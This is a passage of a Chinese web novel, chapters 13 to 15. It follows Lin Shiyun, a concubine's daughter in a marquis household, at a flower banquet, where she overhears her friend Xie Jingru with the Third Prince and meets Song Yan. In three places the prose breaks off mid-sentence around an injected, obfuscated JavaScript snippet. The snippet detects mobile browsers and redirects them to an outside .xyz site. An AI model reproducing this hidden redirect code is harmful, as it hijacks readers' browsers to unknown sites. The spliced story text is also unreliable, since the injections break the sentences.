原话是,“我这般年纪了,可太喜欢这么个逗趣的小家伙了,你回来且带上她,又下饭又欢乐,最重要的,还有福呢,母亲也沾沾这孩子的福气也能多活几年哦。” 13. 第 13 章 正是春寒料峭,夜里下了场春雨,将地面刷洗了个干净,空气中还带着淡淡的花香,清甜淡雅。 院子里的玉兰花开的正好,那么高大一棵,一如怀春的少女亭亭玉立之模样。 一大早的,院里便忙活起来,一众丫鬟各司其职,尽心伺候主子。 今日四姑娘要参加安平郡主的赏花宴,姑娘十四岁了,如今已经下了学,正是到了议亲的年纪,若是真的被哪家的贵妇人看中,她们都是要陪嫁过去的,在这事上,她们这一众丫鬟都都是极为关心的。 只是姑娘好像并不在意。 眼看便要误了时辰,春雨好哄逮哄的终于将自家小姐给哄了起来。 只见拔步床上的妙龄女子认命似的摸过了丫鬟递过来的冷帕子敷在脸上,凉的她一激灵过后她终于清醒了过来。 女子缓缓睁开眼睛,眼神有片刻的呆愣,白皙的小脸红扑扑的,额前的刘海飞了起来,正好露出她光洁的额头。 女子眨了眨水润的眸子,眉宇间尽是慵懒。 眉如柳枝垂,目似流星坠,是极为好看的眉眼。 她看起来十三四岁的模样,一举一动虽还带着憨态,但一张脸却已经能看出是美人胚子了。 只是脸上还带着些婴儿肥,肉肉的,加上那被故意放下来的齐刘海,硬生生的变得可爱多了一些。 林诗芸想到今日要跟着嫡姐们参加宴会,小嘴撅了撅,最后也只是无奈叹了口气,老实的由着春雨扶着起来了。 好不容易熬到了能不去上学的时候,还非得去参加个劳什子宴会,就不能叫她睡个懒觉啊。 侯府四位姑娘都是十岁时去念的女学,倒不是侯府请不起女先生教学,只是如今的女学倒像是一种潮流。 女学的内容大同小异,三从四德三纲五常,诗书礼仪乐骑射这些也都是要学的,林诗芸并不知自己如今是何朝代,但是这个时代的女子是可以经商也可以上学也是有女官,是有一定社会地位的。 林诗芸过了十四岁,已经结业,可不必去上学了。 毕竟十五岁及笄之后便可嫁人了,不过这个时代的女子倒也不流行十五六岁嫁女,为了彰显自家对女儿的疼爱,大多也会将女儿留到十七八岁,二十岁嫁女的也是有的。 抱怨归抱怨,林诗芸还是老实的起床了,无它,今日她只是个陪客,大姐姐和二姐姐才是重点呢,她再不起二姐姐一回杀过来又得挨叨叨。 简单的洗刷过后便见听丫鬟举着几套衣裙问她要穿哪身,林诗芸坐在铜镜前梳头,只随意的指了一件普通粉裙。 今日她就是三个姐姐的陪衬,穿那么好看作甚,她还小呢,不着急出头。 听雨也知自家姑娘的脾性,小心也懒散惯了,况且自家姑娘确实排在后头,大姑娘二姑娘三姑娘都还没定下,便也没说什么,同春雨一起给姑娘利索的穿上衣裳。 那边的小丫鬟也已经把早膳摆上了。 今日大厨房知道几位小姐要出门,做的便都是小而精致并且无异味的食物。 只是林诗芸看着无甚胃口,她想喝豆腐脑,想吃大油条,最好能有一碗胡辣汤,那就完美了。 自七岁穿过来,如今已经一个七年过去了,总的来说她是幸运的,自进了侯府,虽说是庶女,但嫡母却是对她极好的,二姐姐虽是嫡出,但是两相对比她跟二姐姐不差什么的。 而且二姐姐平日里对她极好,除了,嗯...有些叨叨。 至于旁人,她平日里嘴甜,两辈子练就了一张会哄人的嘴,惯会在姐姐们和众人兄长面前撒娇卖憨,因有众人的照拂,所以她的日子过的一向不错。 今日的赏花宴,便是嫡母叫她一起去的,她平日里除了上学便不怎么出门,她知道母亲的意思,她十四岁了,也该在世家众人面前露露脸了。 且自她被接回来,先是嫡母平安生子,而后父亲又用短短七年的时间从正五品的小官升至如今正四品,祖母的身体又莫名的康健了很多,她有福气的名声便被传出去了。 她是心存感激的,她哪里知道自己有没有福气,可能是有一点点的,但更多的怕是巧合。 不管怎么说,或许一切都是侯府故意为之,或许利用多一些,不管是为了叫她以后高嫁还是打造侯府的什么人设,但是她到手的好处可都是实打实的。 想到她的小金库,嘿嘿,如今她可是有一家铺子呢,除了春雨旁人都不知晓。倒不是她不愿意同二姐姐她们分享这个好消息,只是她谨慎惯了,对于眼前的富贵总觉得不踏实。 前世看的电视剧不也经常演豪门一朝落魄?她这叫有备无患不是。 所以长辈们送她的首饰,除了一些显眼的,多数都被她给融了用了,她想有一日也能有一套自己的院子,虽说待她成亲,侯府定是会陪嫁上一些田地铺子的,但是她就是想要自己的,这种想法在她上学之后便更加强烈。 言归正传,今日的赏花宴,由定安侯夫人秦氏带着四位小姐前往。 怕出恭没敢喝粥,吃了几个小包子,又叫听雨给荷包里装了满满的手指麻薯这才出了门。 她一向是个贪吃贪睡的,缺啥也不能叫自己饿了,所以身上一向挂两三个荷包,且全是吃的。 当然了,给嫡姐也带了的。 她先去了嫡母院里。 嫡母还是一脸温柔的模样,只因为六岁的小弟林景阳一直在闹人,脸上还有颇些无可奈何,六岁的男孩子,当真是人嫌狗臭。 林诗情见哭闹的小弟,怒气值瞬间拉满,袖子一撸就要开揍,林诗芸忙不迭的抱住姐姐的胳膊小声的劝着,寻思还得寻个法子,小弟不能每日都挨二姐姐一顿揍才老实啊。 姚氏哭笑不得,虽说也是头疼哭闹的小儿子,却是不能真叫小儿子大早晨就挨了揍的,只好无奈的对着两个女儿摆摆手叫她们赶紧走,只嘱咐了两句,别误了时辰便好。 有大嫂带着,她倒是没有什么担心的。 只是她又打量了两眼林诗芸的衣着打扮,是没有出格的地方,就是这丫头有些太小心了,也不知是从哪日起,竟然流起了刘海。 芸儿这孩子真是越大越好看,养到十岁那年,已经能看的出惊为天人的模样了,只是不知叶姨娘是怎么同这孩子商量的,好好的小姑娘竟整了个厚重的刘海,漂亮的小姑娘硬是变成了有些呆板的模样。 好在这孩子平日里最是爱笑,又有福气,刘海即使压住了几分美貌,却还是很得众人的喜欢。 姚氏最终还是未说些什么,她懂庶女的谨小慎微,便也由着她去了。 只是如今都这样大了,也该打扮起来。 罢了,这事她还得同叶姨娘好好说道说道,马上议亲了,这容貌自然是个加分项,她对庶女的期望值颇高,自是希望能找一门好亲事的。 今日的林诗情,倒是打扮的跟朵花似的。 一身月白色长裙,裙摆上绣满了珊瑚色芍药,走起路来摇曳生姿,自是美极。 再往上看,自是一张芙蓉面,丹凤眼细长,带着些天然的凌厉,皮肤如牛乳般细腻,鼻梁高挺,薄唇微张似樱桃般红润,满头的珠翠随着她的动作微微摆动,说不出的灵动可人。 林诗芸听着嫡姐对她的絮絮叨叨,心里没来由的升起一股子的满足感。 嫡姐真的很好,人美心善,虽说有些任性,但是刀子嘴豆腐心。 她笑的眉眼弯弯的,林诗情有些气恼,纤细的手指点了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041272|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四妹妹的脑袋,“叫你好好打扮打扮,你看看你穿的什么?连朵花都没有!我说的话你都当耳旁风了是不是!” 林诗芸讨好的抱住嫡姐的胳膊,“嘿嘿,姐姐知道我平日里就喜欢素一些的嘛,况且这身衣裳还是姐姐送我的,芸儿真的觉得很好看啊,姐姐再看看,我头上的钗环也都是姐姐送的,好不好看?” 边说边歪着头叫嫡姐看,二人相差一岁而已,十五岁的秦诗情自是要高上一些的。 秦诗情早就发现了,这丫头身上头上全是自己送的,心里虽高兴,却还是觉得四妹妹有些太过朴素了。便顺手拔了朵路边的牡丹花给四妹妹插上了。 再看看这丫头厚重的齐刘海,脑海里依稀又记起初见时四妹妹满手冻疮的模样…… 心里又叹了口气,四妹妹何时才能放下戒心,不这么谨小慎微呢。 罢了,先这样吧,至少现在多了几分的活泼。 姐俩一路说说笑笑的来到了大伯母的院子里,正巧世子林景行出来二人问了声世子大哥好后便要进院里。 林景行微微颔首,一低头便看到了四妹妹头上的牡丹花,轻轻笑出了声,“怎的头上还戴了朵牡丹花,” 说完还端详了半天,点点头,“不过四妹妹戴着确实好看。” 林诗芸小脸被世子大哥说的红扑扑的,林诗情对自己的杰作颇为满意,掐着腰护着妹妹道,“大哥不准笑,芸儿可比牡丹花还要好看呢,” 林景行看着四妹妹肉乎乎的小脸不住的点头,憋着笑道,“好了,你们进去吧,四妹妹鲜少出门,今日的宴会权当散心去吧。” 又想到父亲提及的亲事,目光落在两人身上闪了闪,最后只是收敛了笑意离开了。 今日说是去参加赏花宴,其实是给大姐姐二姐姐相看。 侯爷大伯前些日子在军中受了伤,被一个小校尉给救了。 见小伙子虽只七品校尉,但长相和身手都算不错,且其父还是安定侯的旧识,便想将家中适龄的女儿嫁给他。 刚好这校尉同安平郡主还有拐着弯的亲戚关系,这不两家一提,郡主便趁着今日宴会的叫家中适龄的姑娘去露露脸。 若是有哪个妹妹看中了小校尉,那这亲事便顺其自然,若是没看中的,那便由父亲定。 如今家中适龄的却是有四位姑娘的,只是,侯夫人却是不舍得女儿嫁个小校尉的,父亲倒是提了一嘴四妹妹... 罢了,四妹妹还小呢,怎么也得前头三个姐姐定了才行。 他还是劝慰父亲几句才是。 又想到前日收到四妹妹亲手做的点心,决定一会差人去定几套首饰给几个妹妹送去,没娘的孩子总是艰难,瞧着四妹妹平时乖巧懂事的模样便知道了,虽有姨娘照顾着,但是姨娘的月例才有多少,想到四妹妹总是软糯糯的叫他大哥哥,嗯,他林景行的妹妹,定然都要像花一样娇宠着。 这些事情四个姑娘是一点都不知道,四人一碰头便叽叽喳喳的闹开了。 林诗瑶同林诗情二人的年龄只差几月,两人是一见面就掐的,今日林诗瑶一身大红色长裙,被林诗情张嘴就讥讽也不怕抢了人家主家的风头,林诗意和林诗芸眼看着二人越掐越厉害,无奈对视一眼任命似的一边一个抱着自家嫡姐的胳膊开始哄。 侯夫人嫌四人吵,便打发四个姑娘一辆车,却也是扫了两眼林诗芸的。 她养大的两个女儿,她可不舍得嫁个小武将,郡主府七拐八拐的亲戚,还能有侯府富贵? 她拿着帕子轻轻擦了擦鼻尖,也不知二房为何大费周章的将四丫头有福的名声给传出去,一个外室生的而已,难道为了给三房那个小的铺路? 这倒是又兄友弟恭去了。 14. 第 14 章 春光明媚,照在人身上暖洋洋的。 街道上熙熙攘攘,行人早已脱掉了繁重的外衣,连带着小贩们的吆喝都轻快了几分。 林诗芸偷偷的撩起窗幔伸长了脖子去看外头的景色,脑子里想着今日不知有没有机会去铺子看看,只是这边尚未想到主意,便又被大姐姐给训斥了一顿,她抿着嘴将窗幔放下,老实坐好。 林诗情没替林诗芸说话,只是帮妹妹理了理额前的碎发,大姐姐跟大伯母一样,最是看中礼数,尤其这是在外头,还是不要惹她为好。 也不知怎的,自林诗芸入府,侯府众人待林诗芸都很和善,只侯夫人程氏,程氏虽长了一副慈眉善目的相貌,但是面对林诗芸时,却总是挑着刺的。 程氏总觉得二房传林诗芸身上带着福气是有图谋的。 难道是想抢爵位? 但观二房夫妇的言行又不像。 林怀诚现今都是正四品了,还是唯长兄马首是瞻,万事都听长兄的,姚氏也是,对她是再谦卑和善不过了。 只是时间长了,程氏还是会对林诗芸产生些不好的想法。 程氏不是不知道这传出去的名声丈夫也是知晓的,难道从前传闻这兄弟俩都心系那个贱人的传闻是真的? 程氏是不相信这个传闻的,定安侯花心归花心,后院的小妾也多貌美,要说他只倾心哪一个,她是不信的。 可能是初始印象便不好,林诗芸又是那女人生的,也就是姚氏心大还将人接回来,叫她,呵,扔到庄子上留她一条命都是好的了。 只一刻钟的功夫便到了安平郡主府。 程氏由着婆子整理衣衫后便率先下了马车,今日不少世家贵妇都来,她是铁定要给自家女儿相看一门好亲事的,什么小校尉,她才不放在心上的。 她今天的目的是丞相家夫人,两家门第相当,且都有说亲的意向,今日便是来相看的,只是听是说丞相嫡次子有些顽劣... 罢了,先看看再说。 瑶儿和情儿哪个都好,侯府总归得同相府结门亲。 府门处已不少马车,只见一些贵妇带着自家打扮得体的女儿,正在大门处同人寒暄。相□□头示意,几句简单的家常便相携进去府内,官家和得脸的婆子们点头哈腰,笑脸相迎,生怕有一处错处再惹得贵人不快。 林诗芸是头一次来,林诗瑶做为大姐,行了半路之后也想起来嘱咐妹妹们几句。 郡主乃是秦王独女,她自幼丧父又丧母后是太后亲自教养长大的,同当今陛下情若亲兄妹,感情甚笃,郡主平日里为人也大方热情,所以世家妇人也都是愿意同郡主交往的。 如今安平郡主不过三十出头,已然是京中贵妇的领头人物。 郡主极爱热闹,府上富贵奢华,宴会是每月都会办上一次的。 林诗芸只老实的跟在二姐姐身旁,一路上的风景叫她惊叹。 侯府算是富贵了,她也经常跟着姚氏出入姚国公府,但是这郡主府,她是要感叹一句奢华的。 不说别的,就说这一路上的假山奇石,绿意盎然的盆景,还有下人身上明显就是一等棉料的新衣,连接引她们入府的婆子身上都是上等的锦缎。 她面上不显,只小心的跟在姐姐身旁,听姐姐小声的说都有谁来了。 很快便到了正厅,程氏带着自家四位姑娘去给郡主请安。 林诗芸飞快的打量了眼安平郡主便低下了头,到底是钱养人,郡主一看便是金尊玉贵的。 锦衣华服,肤若凝脂,头上是一套红宝石头面,大气婉约,眼角微微上挑,眼神凌厉不怒自威。 见侯夫人进来,安平郡主很给面子的起身相迎,礼数周全,“侯夫人来了,快请进来,这是诗瑶?这是诗情?侯府女郎果真都有一副好相貌,叫人看了很是喜欢。” 其余的妇人也都跟着夸赞。 安平郡主的眼睛扫了一圈程氏身后的四位姑娘。 林诗芸低垂着眉眼,模样乖顺极了,齐刘海娇憨的模样叫安平郡主多瞅了两眼。 安平郡主没夸大,定安侯这几个女儿都不错,不光两个嫡出的落落大方,连那两个庶女的也见了众人也是一点不怵的,且皮囊都极好,任哪一个嫁个小校尉都可惜了。 安平心里啧啧两声,郡马的算盘怕是要落空了呢。 一阵行礼寒暄,林诗瑶和林诗情被程氏留下来同长辈们说话,林诗芸和林诗意则是被打发出去赏花了。 二人一出来便对视一眼,齐刷刷的松了口气。 林诗芸抿着嘴抱着林诗意的胳膊一脸好奇道:“三姐姐,大伯母今日是为了同大姐姐二姐姐相看吗?” 她看到了丞相家的夫人了,但是没看到谢家女郎,她同谢家二小姐关系一向不错,女学时二人关系最好,一声闺蜜是当得的,今日没有见到还挺可惜的。 不过早就听说两家要议亲,谢家的嫡次子已经弱冠,也到了适婚的年龄了,不知大伯母今日是不是为了这事来的。 林诗意摇了摇头,表示不知道,她倒是觉得无所谓,反正不是给她们相看就行,“不管是不是,反正还轮到咱们,走,咱们去赏花去,刚才我远远的便看到了一大片的绿牡丹呢,如此富贵的花儿,也就郡主府能养的这么多这么好了。” 说完林诗意便兴致勃勃的拉着林诗芸赏花去了。 二人一路还遇到了女学时的伙伴,两人行变成了三人行,只是那位姑娘明显跟林诗意有话要讲,这位姑娘一脸怀春少女的模样,几次将话题往世子大哥身上引,林诗芸听出来了,她可不想掺和旁人的儿女情长,尤其还是自家大哥的,便推脱要去净手,带着春雨二人找了个凉亭一屁股坐下了。 凉亭正对着观景湖,只是春日湖中的荷花尚未开放,无甚绿意,所以来往这处的人并不多。 正好是她躲懒的好地方。 她解下了腰间的荷包,无所事事的捏了颗点心,一边小口小口的吃着一边打量周围的风景。 只是刚吃几口她就打了个喷嚏,搞的春雨极为紧张,忙要去马车上拿披风。 都说倒春寒,其实今日并不冷,不然也不会举办赏花宴,只是如今这个世界还没有后世的那个医疗条件,总归是小心些比较好。 林诗芸知道春雨是担心自己受凉,便乖巧的点头道自己哪里也不去,就在这里等她。 春雨和听雨都是七岁时姚氏给的丫鬟,极少人知道,二人身上是带着些拳脚功夫的。 这几年林诗芸每日睡前闲得无聊还会跟着二人学一些防身的手段。 听雨是家生子,春雨是自小被买来的,对林诗芸而言,春雨更得她心,春雨更细心,也更有担当一些,什么事都替听雨挡在前头,所以林诗芸喜欢。 春雨大她三岁,她是拿春雨像姐姐一般的,所以春雨说什么林诗芸基本上都会听,虽然她其实并不冷。 春雨也知道姑娘一向听话乖巧,定不会乱跑,她就说今日穿的少了些,该加上一层的,这不,刚到凉亭姑娘就打喷嚏了。 她脚程快,一炷香就能回来,自然不会担心姑娘出事。 林诗芸百无聊赖的开始四处观望,远远的,她就看到了开的极灿烂的海棠花。 海棠经雨胭脂透。 兴许是昨夜春雨的洗礼,叫这一簇簇的海棠变得极为妍丽,仿佛是怀春少女的裙摆随风起舞,胭脂般色泽的花瓣娇嫩清新,在阳光下熠熠生辉,叫人不自觉的被吸引,想要去靠近。 她将荷包收起,顺着湖边去往海棠处。 此时的林诗芸满眼都是对海棠花的渴望,她唇角微扬,步子不由的加快了几分,只是在行至假山时,却听到一些动静,似乎有人在哭? 林诗芸被吓了一跳,心里也有些好奇,小心的走向假山,很快,女子轻轻啜泣的声音便从假山里头传了出来。 林诗芸瞪大了眼睛,这声音,有点耳熟是怎么回事... 只是,她也来了? 是了,丞相夫人来了,谢家姐妹应该也来了才对。 林诗芸刚想走的更近,便听见一男子说话的声音传来。 男子??? 林诗芸震惊不已,她将嘴巴死死捂住,不叫自己发出任何声音。 坏了!撞到闺蜜同男子…… 偷,偷情? “茹儿放心,本殿下是不会娶那个女人的,什么京城第一才女,沽名钓誉,无才无德!也配的上本殿的正妃之位?” “殿下,可是殿下,嫡母和嫡姐,” “哼,无需担心!你只需要丞相同意此事便可,其余的一切都交给我!茹儿!我待你之心如皎皎明月,你且相信,我必不会辜负与你的!” 接着便是一声殿下,和某种难以言喻的声音... 林诗芸脸上的表情却没有丝毫撞破人奸情或者看热闹的样子,她眉心紧紧皱起,手也不自觉的扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049936|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了一旁的石头,脸上的表情变得有些凝重。 她如今已经十四岁了,上辈子虽也就活了十八岁,但是也知道里头传出的黏黏糊糊的是何声音了... 林诗芸就这么静静的皱着眉头,她心里十分忐忑,纠结的很,她该走吗?她应该走的对不对? 偷听是不对的,是不对的,是闺蜜也不行,不行,她得离开,得离开才对。 她闭了闭眼睛,转身便要离开,却直接撞上了一个身材高大的男人身上! 她刚要张嘴却被来人捂住了嘴巴,林诗芸看着面前惊为天人的面孔,晏哥哥?他怎么在这? 饶是林诗芸活了两辈子,在电视上见过那么多的明星,但每一次见到宋晏还是免不了的犯花痴,怎么能有人长的这么好看呢,林诗芸晃了晃脑袋,不!现在不是她犯花痴的时候! 林诗芸眼睛眨巴着眼睛表示抗议,宋晏感受着手心她唇上的温度,忍了半晌才放下了手掌。 小没良心的,他可是专门来找她的。 他揉了揉她的头,示意她还是不要出声。 林诗芸虽惊讶这人怎么也在这,但是也知当前确实不是说话的时候,她点点头,也不再纠结走不走了,便听假山内又传来声音。 里头二人亲热了好一半晌,那男子最后由着女子整理衣衫,应是又亲了女子一口才道:“茹儿别怕,等我好消息,我先去同姑姑说话,过两日定带着旨意去丞相府向你提亲!” 男子从另一侧离开了,衣袖一挥,半片衣角都没有留下…… 女子盯着男子的背影,漏出了一个讥讽的笑,半晌她擦了擦眼角的泪水,整理了衣衫后,这才走出了假山。 这当真是一处约会的好地方,里头竟是个山洞,容纳二人绰绰有余,四面都被石头围着,只留了一人能出去的地方。 林诗芸眼看着女子出来往另外的方向走去。 背影她很熟悉,她的同窗,她的好友,谢静茹。 她张了张嘴,该问吗? 这是她的好友,她上了四年女学,这是她唯一的好朋友。 她没来由的鼻子竟然一酸,终是没忍住一把推开了宋晏跑了出去,她声音颤抖带着担忧,“谢静茹,你到底在干什么?” 你在干什么?你不是说你的嫡姐同我的嫡姐一样,是天底下最好的姐姐吗?你缘何,缘何又会去抢姐姐的婚事? 谢静茹,你到底要干什么? 谢静茹被这一声呼唤给冻住了手脚,瞬时便四肢僵硬大脑一片空白了。 是芸儿,芸儿怎么在这?芸儿都听到了? 怎么办,怎么办!我该怎么办? 谢静茹却是咬了咬牙,她深吸口气,好叫自己的脊背再次挺直起来,她随手擦掉了眼角的泪,转身换上笑容道:“这么巧?你也来参加赏花宴。” 林诗芸看着一身轻薄的白裙,手被冻的通红的谢静茹。 眼眶的泪水再也止不住了,她不知道谢静茹要做什么,但是她知道,谢静茹有自己的打算。 她定是有苦衷的!她定是! 春雨小跑着过来,看到林诗芸是同谢静茹在一起顿时松了口气,她就知道姑娘不会乱跑,刚才在凉亭没看到姑娘,可吓死她了。 只是,二人的气氛怎么有些奇怪,姑娘怎么哭了? 春雨一时没敢言语。 林诗芸抽了抽鼻子,接过春雨手上的披风,径直走到了谢静茹身前,边给她穿上边小声埋怨道:“来人家参加赏花宴,缘何穿这么少,要风度不要温度的,再闹风寒了怎么办?你不是最怕喝汤药了。” 谢静茹哪里想的到她这番举动,她胸腔酸涩的厉害,眼泪啪嗒一下掉了下来,鼻尖红红的,比海棠花还要艳丽的小脸顿时纠结做一团,再待下去,她怕是下一瞬就要扑进她怀里,放生大哭了。 林诗芸给人穿上披风之后也不管人家有何反应,自顾自道:“我三姐姐还在那边等我呢,你快走吧,别叫,别叫你姐姐也担心你,” 只是还不等她说完,谢静茹却是咬了咬唇,愤恨的留下一句,不,她不配,她不配做我姐姐便转身跑了…… 好半晌,宋晏叹息一声从暗处走了出来,一晃七年已过,他也已过了弱冠之年,幼时雌雄莫辨的脸庞更是变得俊逸非常,他一瞬不瞬的望着前头的女郎,低沉的嗓音里满是无奈,“傻丫头,净会替别人操心。” 他的小姑娘,终于长大了。 15. 第 15 章 一阵风儿吹过,吹落了几片海棠花瓣,花瓣像是迷了路,找不清方向,飘飘荡荡的,几经起伏终是落在了林诗芸的头上。 林诗芸浑然不觉。 她呆呆的望着谢静茹离开的方向,心情有些沉重。 她了解好友的为人,她定有必须这么做的理由。 只是,是什么呢…… 仇恨?还是? 林诗芸轻咬着下唇,眉心微蹙,一只大手忽然伸到了她面前,轻轻扬起,将她头上的花瓣给摘了下来。 宋晏望着眼前愁云惨淡的小姑娘,低头帮她整理头发,用只有二人能听到的声音开口道:“有些事很隐秘,但是也不是无人知晓,三皇子人前温和,人后暴戾,房中多女婢,我想……你的朋友,应是有所察觉,才会如此吧。” 二人站的极近,近到能听到彼此的呼吸声,能感受到对方的心跳。 可林诗芸并不觉,她还在消化宋晏的话,刚才那么一瞬,她在想为何这么隐秘的事宋晏会知道,又为何会这么轻易的告诉自己,但也只那么一瞬,她便想到了宋晏的身份,这人知道的秘事怕不止这些,告诉她应也是好心吧,他是个极好的人。 但是谢静茹为何会知晓呢?谁告诉她的? 所以,所以现在谢静茹是打算牺牲自己,保护姐姐? 这么想着,她已经开始替好友委屈起来,酸涩占据了她的鼻腔,泪水登时便蓄满了眼睛,啪嗒,眼泪落了下来。 风儿适时的吹散了她额前的刘海,时间仿佛就定格在这一瞬,什么出水芙蓉什么艳若桃李,眼前人眼角的红痣和她泛红眼眶,她眼神中的难过和不解,她轻轻抿起的唇和抽泣的鼻尖,都叫他一颗心扑通扑通乱撞。 他无法用他见过的哪一种花来形容她的美,这一瞬间,他只觉得连她发间的那朵牡丹花都黯然失色…… 春雨在二人身后急的跳脚,左顾右盼就怕来个人。 这,可怎么办才好,四姑娘和晏世子二人的距离也太近了些,莫非,莫非姑娘心系晏世子?也不对啊,没听姑娘提过啊,春雨又转过脸去偷摸的看了几眼,这一下她可以断定了,这是襄王有意,神女还不知襄王心意呢。 不过以她对自家姑娘的了解,姑娘是喜欢晏世子的,嗯...那张脸的,姑娘可是最爱美人了。 只是晏世子说话便说话,离咱们姑娘这么近作甚? 给春雨愁的,恨不得上前去将宋晏给扒开,叫男人离自家姑娘远一点。 此时的宋晏一颗心脏快要跳出来了,俊美的面容上写满了欲言又止,有些心事呼之欲出,他张了张嘴,静默了一瞬,像是终于意识到不妥,而后便向后退了一步拉开了二人的距离。 宋晏拿出帕子,他竟有些慌乱。 多年前,好像也是这样,他拿着帕子帮她擦嘴,那时候,她还是个掉了牙的小姑娘。 如今,她已经亭亭玉立,是叫他怦然心动和蓄谋已久的存在。 他擦掉了她脸上的泪,安慰她道,“万事都有解决的法子,你且宽心,目前三皇子正是要用谢二姑娘的时候,三皇子目的不达成,她便出不了什么事情。” 林诗芸桃花眼眨巴了两下,她的耳朵里只有那句,万事都有解决的法子。 对啊,她哭什么,遇到事情解决就是了! 有什么好哭的?谢静茹又没做坏事!受罪的不是她就是她姐姐,换了自己,也是会这样做的!大不了,大不了真成了亲婚后下药弄死那个狗男人不就行了!做个寡妇不更好! 管他是什么皇子公主的,谢静茹比自己还狠,只要能找到机会,定是能反杀回去的! 这么想着,她心情也便好了很多,只是眼眶还是有些红红的,跟只小兔子似的,叫宋晏看了心痒难耐,连呼吸都粗重了几分。 林诗芸似乎是想明白了几分,轻轻嗯了一声,伸手接过宋晏的帕子将眼泪擦净,再抬眸时又变成了那个天真烂漫的小姑娘,“晏哥哥怎么也在这?今日无事吗?” 宋晏自是不能说出真实原因,他听说定安侯看中了个小校尉,要嫁个女儿给人家,这不,听到这个消息他便急匆匆的回京了,一刻钟也未曾耽误。 他的担心不无道理,定安侯定是舍不得嫁嫡女的,即使安定侯想将闺女嫁过去,侯夫人估计也是不愿意的。 那么,侯府中是庶女又好拿捏的,也就只剩林诗芸了,不过目前看这架势,定安侯是打算先将前头两位姑娘给定下来的,叫他想个法子,还得叫定安侯看到小校尉的价值,能下定决心将自己女儿嫁过去才好。 这么想着,他心情也好了起来,“我最近只得了个闲差,郡马邀请了京中的才俊今日赏花,我便也来凑个热闹。” 林诗芸疑惑,“今日的赏花宴不是只有女子吗?我今日只看到了些夫人小姐啊,” “嗯,男子此时都在前厅饮酒作诗呢,没来后院,我是,我是来,” 只是还没等宋晏将话编完,便听到了林诗意的呼喊声,“三妹妹,三妹妹,” 也亏得二人已经拉开了距离,所以林诗意过来的时候才并未觉得有什么不妥。 只是也好奇端王世子怎么在这。 宋晏拿话搪塞,只说路过,林诗意也未多问,便拉着林诗芸要走。 “三妹妹,咱们走吧,宴席要开始了,别叫母亲她们等急了。” 林诗芸乖乖点头,跟宋晏摆了摆手,嘴上又无声的道了句谢谢晏哥哥这才跟着三姐姐走了。 宋晏站在原地,静静的看着她们离开的身影,很远了,还能听到姐俩的谈话。 “你怎么跑到这么偏来了?我差点没找到你,” “我无聊嘛,正好看到了那里的海棠花开的正盛,便过去看看,” 林诗情又看到了林诗芸的眼睛,狐疑道:“你的眼睛怎么红红的,像是哭过?” 林诗芸撇了撇嘴,有些话是张嘴就来,“定是被那海棠花迷了眼睛了,三姐姐,咱家的海棠花为何就开的没那么好呢,郡主府上的开的又大又眼里,当真是美极了...” 宋晏摇了摇头,表情有些无奈,这丫头,一撒谎话就多。 直到几人的身影消失不见,宋晏这才转身离开。 从前为了姐姐发了疯似的打架的小姑娘,如今是这般的简单美好,一句晏哥哥,便足以叫他迷了心神。 他依稀记得正是他十四岁那年的夏日,他路过国公府郊外的庄子,听说姨母也在,便进去拜访,只是刚一进庄子便看到了几个吵到不可开交的小女娘。 远远的,他便看到了小小的芸儿。 芸儿小他四岁,那时候已经被养的极好了。 白白净净的,一张小脸圆润的很,光洁的额头和如星月般的双眸,乌黑的头发被扎成了两个小团子,一身鹅黄色的纱裙就站在水塘边,眉头紧皱着,眼睛一瞬不瞬的盯着几人中正拉架的姐姐,表情凝重的像个大人。 他就那么远远的看着,看的心情都变的极好,只觉得这个妹妹确实是长大了,不是贪吃贪掉牙还追着叫自己神仙哥哥的小姑娘了。 只是他没注意到,不知是谁先动的手,那边的几个小女娘竟然推搡了起来,直接动起了手。 林诗芸一见姐姐被人推倒了,还有人敢扯她姐姐的头发! 她像只发了怒般的小兽,箭矢般飞扑了过去,一脚便踢飞了将林诗情推倒的那个小女娘,她吃的多,力气自然也是极大的,她将人踢飞了还不算完,转过身竟直接骑到了扯姐姐头发的小女娘身上,噼里啪啦的打了人两下便也扯起了头发。 姚家小女娘眼看自家姐妹受了欺负,便合起伙来打林诗芸和林诗情两个,只有姚若兰,急的上蹿下跳的,大哭着叫丫鬟们赶紧将人拉开。 饶是这样,几个没吃过亏的小女娘越打越上头,尤其是国公府几个,你们来做客的竟然敢打主家?还要脸不要了! 此时的林诗芸什么也未想,脑子里只有她们敢打我姐姐几个字! 她如发了狂一般,左一拳右一脚的仿佛是不要命了一般,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057148|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还嘟嘟囔囔的,叫你打我姐姐!叫你打我姐姐!看我不打死你! 